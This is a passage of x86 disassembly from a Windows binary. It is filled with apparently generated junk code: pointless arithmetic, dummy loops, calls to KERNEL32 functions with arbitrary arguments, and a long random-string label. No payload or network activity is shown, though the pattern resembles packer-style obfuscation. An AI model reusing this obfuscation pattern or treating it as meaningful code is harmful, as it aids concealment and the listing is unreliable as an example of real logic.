lqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [0x51a880]
add ecx, 1
mov dword [0x51a880], ecx
mov edx, dword [0x51a8a8]
xor edx, dword [ebp - 0x14]
cmp edx, dword [0x51a884]
jge 0x420bcd
mov dword [ebp - 0x6b4], 1
jmp 0x420bd7
mov dword [ebp - 0x6b4], 0
mov eax, dword [0x51a8c4]
sub eax, 1
mov dword [0x51a8c4], eax
mov ecx, dword [ebp - 0x34]
sub ecx, dword [0x51a8b8]
and ecx, dword [0x51a8c4]
xor ecx, dword [0x51a870]
or ecx, dword [ebp - 0x6b4]
mov dword [ebp - 0x13f8], ecx
mov edx, dword [0x51a8b8]
sub edx, 1
mov dword [0x51a8b8], edx
mov eax, dword [0x51a870]
sub eax, 1
mov dword [0x51a870], eax
cmp dword [ebp - 0x13f8], 0
je 0x420c77
mov ecx, dword [0x51a8bc]
cmp ecx, dword [ebp - 0x60]
jne 0x420c77
mov edx, dword [ebp - 0x60]
cmp edx, dword [ebp - 0x24]
jne 0x420c77
mov eax, dword [0x51a8cc]
cmp eax, dword [ebp - 0x58]
jne 0x420c77
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
push 0x173f8
push 0x5d7d
push 0x32e4
push 0x154bf
push 0xcfb3
push 0x14614
call dword [sym.imp.KERNEL32.dll_QueryActCtxSettingsW]
add esp, 0x18
mov edx, dword [ebp + 8]
xor edx, 0xa4b9
xor edx, 0x5a4e1243
mov eax, dword [ebp + 0xc]
and eax, 0xc125
xor eax, 0x818c
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [0x51a8cc]
add ecx, 1
mov dword [0x51a8cc], ecx
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov dword [ebp - 0xcc], 0
jmp 0x420ccc
mov eax, dword [ebp - 0xcc]
add eax, 1
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 0x17f17
cmp dword [ebp - 0xcc], ecx
jge 0x420ce8
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x420cbd
mov dword [ebp - 0xd0], 0
jmp 0x420d03
mov eax, dword [ebp - 0xd0]
add eax, 1
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x58]
sub ecx, 0x3c26
cmp dword [ebp - 0xd0], ecx
jge 0x420d90
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x13fc], edx
mov eax, dword [0x51a86c]
mov dword [ebp - 0x1400], eax
mov ecx, dword [ebp - 0x44]
sub ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x13fc]
cmp edx, dword [ebp - 0x1400]
jge 0x420d8b
mov eax, dword [0x51a8a8]
cmp eax, dword [ebp - 0x18]
jne 0x420d8b
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x34]
jne 0x420d8b
push 0x8b7a
push 0x5c44
push 0x8286
push 0x662
push 0x980a
push 0x11d46
push 0x143d6
push 0x6d9
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
add esp, 0x20
mov edx, dword [ebp - 0x60]
sub edx, 1
mov dword [ebp - 0x60], edx
jmp 0x420cf4
mov eax, dword [ebp - 0x1c]
add eax, 0xbddb
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x576d
push ecx
mov edx, dword [0x51a878]
add edx, 0xefe4
push edx
mov eax, dword [ebp - 0x34]
sub eax, 0x5ffc
push eax
call fcn.00405d10
add esp, 0x10
mov ecx, 0xd578
sub ecx, dword [ebp + 8]
xor ecx, 0xabb083d1
mov edx, dword [ebp + 0x10]
and edx, 0xa8c
xor edx, 0xc8
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov dword [ebp - 0xd4], 0
jmp 0x420dff
mov eax, dword [ebp - 0xd4]
add eax, 1
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0x60]
sub ecx, 0x128c1
cmp dword [ebp - 0xd4], ecx
jge 0x420e21
mov edx, dword [0x51a85c]
add edx, 1
mov dword [0x51a85c], edx
jmp 0x420df0
mov dword [ebp - 0xd8], 0
jmp 0x420e3c
mov eax, dword [ebp - 0xd8]
add eax, 1
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 0x81e7
cmp dword [ebp - 0xd8], ecx
jge 0x420e64
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x18]
jge 0x420e62
mov eax, dword [0x51a874]
sub eax, 1
mov dword [0x51a874], eax
jmp 0x420e2d
mov ecx, dword [ebp - 0x5c]
sub ecx, 0xbe27
push ecx
mov edx, dword [ebp - 0x2c]
add edx, 0x1fd2
push edx
call fcn.00411d90
add esp, 8
mov eax, dword [ebp - 0x14]
add eax, dword [0x51a870]
cmp eax, dword [0x51a8bc]
jge 0x420e9d
mov dword [ebp - 0x6b8], 1
jmp 0x420ea7
mov dword [ebp - 0x6b8], 0
mov ecx, dword [0x51a8cc]
sub ecx, 1
mov dword [0x51a8cc], ecx
mov edx, dword [0x51a8cc]
imul edx, dword [ebp - 0x58]
cmp edx, dword [0x51a874]
jge 0x420ed4
mov dword [ebp - 0x6bc], 1
jmp 0x420ede
mov dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6b8]
or eax, dword [ebp - 0x6bc]
je 0x420efd
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x20]
jge 0x420efd
mov edx, dword [ebp - 0x38]
sub edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp + 0x24]
add eax, 0x48d3
xor eax, 0x547a092d
mov ecx, dword [ebp + 0x20]
or ecx, 0x1d35
xor ecx, 0x5859
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0xdc], 0
jmp 0x420f3a
mov edx, dword [ebp - 0xdc]
add edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 8]
sub eax, 0xd6df
cmp dword [ebp - 0xdc], eax
jge 0x420f5b
mov ecx, dword [0x51a8c0]
add ecx, 1
mov dword [0x51a8c0], ecx
jmp 0x420f2b
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x4c]
jge 0x420f7b
mov dword [ebp - 0x6c4], 1
jmp 0x420f85
mov dword [ebp - 0x6c4], 0
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x1404], ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x1408], edx
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x1404]
cmp ecx, dword [ebp - 0x1408]
jge 0x420fba
mov dword [ebp - 0x6c0], 1
jmp 0x420fc4
mov dword [ebp - 0x6c0], 0
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x40]
and eax, dword [ebp - 0x6c0]
or eax, dword [ebp - 0x6c4]
je 0x421035
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x2c]
jne 0x421035
mov edx, dword [0x51a870]
cmp edx, dword [ebp - 0x14]
jne 0x421035
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x3c]
jne 0x421035
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x1c]
jne 0x421035
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
push 0xedbe
push 0xbaa1
push 0xdca
push 0xd8b4
push 0xdd33
push 0x1197b
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
add esp, 0x18
mov eax, dword [ebp + 0x1c]
add eax, 0xb65d
xor eax, 0x7879b0e8
mov ecx, 0x6949
sub ecx, dword [ebp + 8]
xor ecx, 0xffff808a
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov edx, dword [0x51a880]
add edx, 0x14656
push edx
mov eax, dword [ebp - 0xc]
add eax, 0xce5a
push eax
mov ecx, dword [ebp - 0x44]
sub ecx, 0x20fc
push ecx
mov edx, dword [ebp - 0x44]
sub edx, 0x87d3
push edx
call fcn.00405d10
add esp, 0x10
mov dword [ebp - 0xe0], 0
jmp 0x4210a3
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x17b7f
cmp dword [ebp - 0xe0], ecx
jge 0x4210bf
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x421094
mov eax, dword [0x51a85c]
sub eax, 0x363f
push eax
mov ecx, dword [ebp - 8]
add ecx, 0x6850
push ecx
mov edx, dword [0x51a8cc]
add edx, 0x9259
push edx
mov eax, dword [0x51a884]
sub eax, 0x2828
push eax
mov ecx, dword [ebp - 0x40]
add ecx, 0x14ca
push ecx
mov edx, dword [ebp - 0x44]
sub edx, 0x10213
push edx
mov eax, dword [ebp - 0x5c]
sub eax, 0xbbe9
push eax
mov ecx, dword [ebp - 0x60]
sub ecx, 0x945e
push ecx
call fcn.00416f20
add esp, 0x20
mov edx, dword [ebp - 0x20]
sub edx, 0xaa38
push edx
mov eax, dword [ebp - 0x18]
sub eax, 0x83f4
push eax
call fcn.00411d90
add esp, 8
call fcn.004150c0
mov ecx, dword [ebp - 0x50]
sub ecx, 0x16600
push ecx
mov edx, dword [ebp - 0x30]
sub edx, 0x4b5e
push edx
mov eax, dword [0x51a87c]
add eax, 0x3487
push eax
call fcn.00410ac0
add esp, 0xc
mov ecx, dword [ebp - 0x24]
sub ecx, 0xcdd3
push ecx
mov edx, dword [0x51a880]
add edx, 0x5ff1
push edx
mov eax, dword [ebp - 0x30]
add eax, 0x10dd
push eax
call fcn.00410ac0
add esp, 0xc
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x1c]
cmp ecx, dword [0x51a8c0]
jge 0x4211a5
mov dword [ebp - 0x6c8], 1
jmp 0x4211af
mov dword [ebp - 0x6c8], 0
mov edx, dword [0x51a87c]
or edx, dword [ebp - 0x50]
cmp edx, dword [0x51a8b8]
jge 0x4211cc
mov dword [ebp - 0x6cc], 1
jmp 0x4211d6
mov dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6c8]
and eax, dword [ebp - 0x6cc]
je 0x421299
mov ecx, dword [0x51a86c]
cmp ecx, dword [ebp - 0x24]
jge 0x4211ff
mov dword [ebp - 0x6d0], 1
jmp 0x421209
mov dword [ebp - 0x6d0], 0
mov edx, dword [0x51a8bc]
cmp edx, dword [0x51a874]
jge 0x421223
mov dword [ebp - 0x6d4], 1
jmp 0x42122d
mov dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d0]
or eax, dword [ebp - 0x6d4]
je 0x421299
mov ecx, dword [0x51a878]
cmp ecx, dword [0x51a8c4]
jne 0x421299
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0xc]
jne 0x421299
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x54]
jne 0x421299
mov ecx, dword [0x51a870]
cmp ecx, dword [ebp - 0xc]
jne 0x421299
mov edx, dword [ebp - 0xc]
cmp edx, dword [0x51a8c4]
jne 0x421299
push 0xe765
push 0x377a
push 0x689b
push 0x17d6e
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
add esp, 0x10
mov eax, dword [0x51a8c4]
add eax, 1
mov dword [0x51a8c4], eax
mov ecx, dword [ebp + 0xc]
and ecx, 0x7de8
or ecx, 0x17c3
xor ecx, 0x4a6a6eb2
mov edx, dword [ebp + 0xc]
or edx, 0x6b31
xor edx, 0xecad
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbj